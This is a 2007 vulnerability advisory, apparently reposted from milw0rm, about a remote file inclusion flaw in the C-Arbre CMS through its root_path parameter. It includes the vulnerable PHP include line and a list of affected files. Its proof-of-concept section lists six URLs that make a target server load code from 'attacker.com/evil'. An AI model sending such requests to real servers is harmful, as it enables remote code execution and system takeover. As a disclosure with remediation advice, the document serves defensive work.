115 lines
No EOL
4.2 KiB
Text
115 lines
No EOL
4.2 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/
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.OR.ID
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ECHO_ADV_78$2007
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-----------------------------------------------------------------------------------------
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[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
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-----------------------------------------------------------------------------------------
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Author : M.Hasran Addahroni
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Date : March, 26th 2007
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Location : Australia, Sydney
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Web : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt
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Critical Lvl : Dangerous
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : C-Arbre
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version : <= 0.6PR7
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Vendor : http://realink.org/
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Download : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz
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Description :
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C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS,
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a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,
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a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.),
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automatic generation of a Web portal, and internationalization of the interface.
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~~
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- Invalid include function at lib/Richtxt_functions.inc.php :
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----------------lib/Richtxt_functions.inc.php-------------------
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<?php
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//try to integrate the wikimedia engine functions
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include_once("$root_path/include/Wikitxt_functions.inc.php");
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...
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----------------------------------------------------------------
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Input passed to the "root_path" parameter in lib/Richtxt_functions.inc.php is not properly verified before being used to include files.
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This can be exploited to include arbitrary files from local or external resources.
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Successful exploitation requires that "register_globals" is enabled.
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also affected files :
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lib/adddocfile.php
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lib/auth_check.php
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lib/browse_current_category.inc.php
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lib/docfile_details.php
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lib/main.php
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lib/mainarticle.php
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lib/maindocfile.php
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lib/modify.php
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lib/new.php
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lib/resource_details.php
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lib/smallsearch.php
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mwiki/LocalSettings.php
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Poc/Exploit:
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~~~~~~~~~~
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http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil?
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http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil?
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http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil?
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http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil?
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http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil?
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http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil?
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Solution:
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~~~~~~~
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- Edit the source code to ensure that input is properly verified.
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- Turn off register_globals
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Notification:
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~~~~~~~
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- 19-03-2007 bugs found
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- 26-03-2007 vendor contacted
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- 27-03-2007 advisory released
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---------------------------------------------------------------------------
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Shoutz:
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~~~~~
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~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
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~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
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~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
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~ newbie_hacker@yahoogroups.com
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~ #aikmel #e-c-h-o @irc.dal.net
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---------------------------------------------------------------------------
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Contact:
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~~~~~~
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K-159 || echo|staff || eufrato[at]gmail[dot]com
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Homepage: http://k-159.echo.or.id/
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-------------------------------- [ EOF ] ----------------------------------
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# milw0rm.com [2007-03-26] |